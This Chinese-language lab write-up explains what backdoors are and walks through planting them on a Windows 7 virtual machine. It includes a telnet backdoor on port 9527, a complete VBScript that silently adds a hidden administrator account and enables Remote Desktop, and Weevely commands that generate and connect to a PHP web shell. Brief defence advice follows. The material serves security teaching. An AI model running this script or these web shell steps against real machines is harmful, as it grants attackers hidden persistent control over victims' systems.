一、实验目的
-
理解后门的定义与分类
-
掌握后门的操作
-
学会防范后门
二、实验环境
-
系统环境:Windows环境,kail环境
-
软件工具:telnetDoor,weevely
三、实验原理
1. 后门的定义
最早的后门是由系统开发人员为自己留下入口而安装的,而今天,并非开发人员将后门装入自己设计的程序中,而是大多数攻击者将后门装入他人开发和维护的系统中。通过使用这样的后门,攻击者可以很轻松地获得系统的访问权,进而获得系统的控制权。为了更加明确,我们给出后门的以下定义:
后门是一个允许攻击者绕过系统中常规安全控制机制的程序,它按照攻击者自己的意愿.提供通道
有许多不同类型的后门,但每种都可以绕过系统的常规性安全检测,使得攻击者获得进入系统的入口。例如:一个普通的用户可能不得不输入一个口令,这个口令每90天会变换一次。而有了后门,攻击者可以用一个固定的口令而无需变换
有了植入系统的后门,攻击者可能根本不需要提供任何口令就可以登录到计算机。普通用户可能*使用某个特别的加密协议访问计算机,而攻击者可以利用后门访问那些使用完全不同协议的计算机。一旦安装了后门,攻击者如何访问该逻辑单元完全取决于攻击者自己。
许多人用特洛伊木马或者简单地用特洛伊来形容每个后门,这种将术语“后门”和特洛伊木马混淆的做法是非常错误的,应该尽量避免。后门只是简单地提供通道,而特洛伊木马将自己伪装成某个有用的程序,或者干脆将自己隐藏起来,不要将这些概念混为一谈。如果一个程序仅提供后门通道,那么它只是一个后门;如果可以伪装成一个有用的程序,那么它便是特洛伊木马。当然,有的工具可以同时是后门和特洛伊木马。但是,只有当攻击者企图将后门伪装成某个有用程序时,它才可以称为“特洛伊木马”。我们用特洛伊木马后门这一不太明确的概念定义这种工具,因为它们伪装成某个友善的程序同时还提供访问通道,利用这一完全定义将有助于人们理解后门与木马的区别
2. 不同类型的后门通道
正如我们在前面定义中看到的一样,后门的作用在于为攻击者进入目标计算机提供通道。这个通道可能表现为不同形式,它取决于攻击者的目的和所使用的特定后门类型。后门能够为攻击者提供许多种不同类型的访问,包括以下几种:
本地权限的提升:这类后门使得对系统有访问权的攻击者突然变换其权限等级成为管理员,有了这些超级用户权限,攻击者可以重新设置系统或访问任何存储在系统中的文件
单个命令的远程执行:利用这种类型的后门,攻击者可以向目标计算机发送消息。每次执行一个单独的命令,后门执行攻击者的命令并将其输出返回给攻击者
远程命令行解释器访问:正如我们所知的远程 shell命令,这种类型的后门允许攻击者通过网络快递直接地键入受害计算机的命令提示。攻击者可以利用命令行解释器的所有特征,包括执行一个命令集合的能力编写脚本,选择一些文件进行操作。远程 shell比简单的单命令远程执行要强大得多,因为它们可以模拟攻击者对目标计算机的键盘有直接访问权的情形
远程控制Gul (RemoteControloftheGul):比将命令行解释器弄混乱更甚,有些后门可以让攻击者看到目标计算机的GUI,控制鼠标的移动,输入对键盘的操作,这些都是通过网络实现的。有了对GUI的远程控制,攻击者可以看到受害者对计算机的所有操作,甚至远程控制GUI
无论后门提供何种类型的访问,我们都会发现这些方法的重点在于控制。后门使得攻击者控制计算机,这一切通常是通过网络远程实现的。有了装入目标计算机的后门,攻击者可以利用这种控制搜索计算机中的易感染文件,改变存储在系统中的任何数据,改装计算机,甚至使系统瘫痪。利用后门,攻击者可以像受害者计算机本身的管理员一样对其进行同样的控制。更有甚者,攻击者可以通过Internet在世界的任何地方实现该控制
攻击者可以自己植入后门,通过某种普通的开发技术拥有系统的初始入口,例如缓冲区溢出或者典型的系统错误配置。一旦攻击者闯入一个目标计算机,通常要做的第一件事就是装入后门,从容地返回到受害系统
另外,攻击者也可以利用一个自动化的程序安装后门,例如病毒、蠕虫和恶意移动代码。通过它们攻击者可以探查到通向目标计算机系统的通道并打开一个后门,为攻击者提供对系统的完全控制
安装后门的最后一种方法是欺骗受害者自己安装,攻击者可能会通过E-mail向受害者发
一个程序或者利用远程文件共享能力将这样的程序写入受害者的硬盘。如果攻击者可以利用某个看似不错的程序骗得用户的信任,他们可能上当将后门装入自己的计算机。这些用户很少会意识到安装了攻击者的恶意代码,他们已经为攻击者提供了对其计算机的完全控制
后门是在安装了后门程序的用户或攻击者允许的前提下运行的,注意到这一点非常重要。如果一个攻击者在目标系统中获得超级用户权限,攻击者安装的后门将以这些强有力的权限运行。类似地,如果攻击者只能欺骗具有有限权限的低级用户安装后门,攻击者对于该目标计算机而言,也就只有这个用户所拥有的有限权限。因此,后门为攻击者提供的对该系统的控制取决于安装该后门用户的权限等级
四、实验步骤
1. 远程控制工具telnetDoor
在Windows7虚拟机cmd命令控制台输入netstat -ano
命令,观察端口9527并没有被开启。如下如所示:
双击运行实验文件夹中的telnetDoor.exe 运行程序,将后门植入计算机,如下图所示:
cmd命令控制台再次输入netstat -ano
命令,可以观察到端口9527已经开启即后门成功植入并运行,如下图所示:
在本地电脑中,打开cmd命令操作界面,输入telnet 192.168.70.133 9527
,如下图所示:
按下回车,开始远程控制目标计算机。(可以对目标计算机进行任意命令行操作,例如查看目录文件、查看ARP缓存表和查看进程列表等等),如下图所示:
此时我们已经可以远程操作Windows7,接下来我们编写一个后门程序使计算机自动添加一个用户,方便我们后期随时可以远程到Windows7虚拟机上,代码如下:
dim wshell
set wshell=createobject("wscript.shell")
wshell.run"cmd /c net user backdoor houmen /add",vbhide
wshell.run"cmd /c net localgroup administrators backdoor /add",vbhide
wshell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections",0,"REG_DWORD"
set wshell=nothing
wscript.quit
将上面代码复制到.txt文件后保存为system2.vbs可执行文件,如下图所示:
双击执行system2.vbs程序,打开cmd输入netstat -ano
查看程序是否正常执行了,如下图所示:
执行前:
执行后:系统自动开启了3389远程端口
系统自动添加了一个backdoor用户,如下图所示:(此时说明我们编写的后门代码已经执行成功了)
接下来我们开始验证是否能正常远程到Windows7虚拟机上,在本地主机上使用mstsc命令点击确定进行远程连接Windows7虚拟机,如下图所示:
在远程桌面连接内输入Windows7的IP地址192.168.70.133点击连接,如下图所示:
然后输入刚刚我们在system2.vbs程序留的后门用户名和密码点击确定,如下图所示:
此时我们已经成功使用远程桌面连接到了Windows7虚拟机上
2. 使用kali中的中国菜刀weevely工具
在Windows7虚拟机上搭建服务器,开启wamp服务器功能
开启kali的weevely功能命令:weevely generate admin /tmp/shell.php
//生成一个名为shell.php的后门文件,密码是admin,如下图所示:
把生成的文件shell.php通过任何手段将它复制到Windows7虚拟机中的网站根目录C:\wamp\www下,如下图所示:
返回到kali中进行命令连接Windows7,命令:weevely http://192.168.70.133/shell.php admin
,如下图所示:
在终端中使用system_info
命令远程查看Windows7虚拟机的系统信息,如下图所示:
此时我们已经全部完成攻击!
五、后门攻击防范
首先要关闭本机不用的端口或只允许指定的端口访问;其次要使用专杀木马的软件,为了有效地防范木马后门;第三是要学会对进程操作,时时注意系统运行状况,看看是否有一些不明进程正运行并及时地将不明进程终止掉。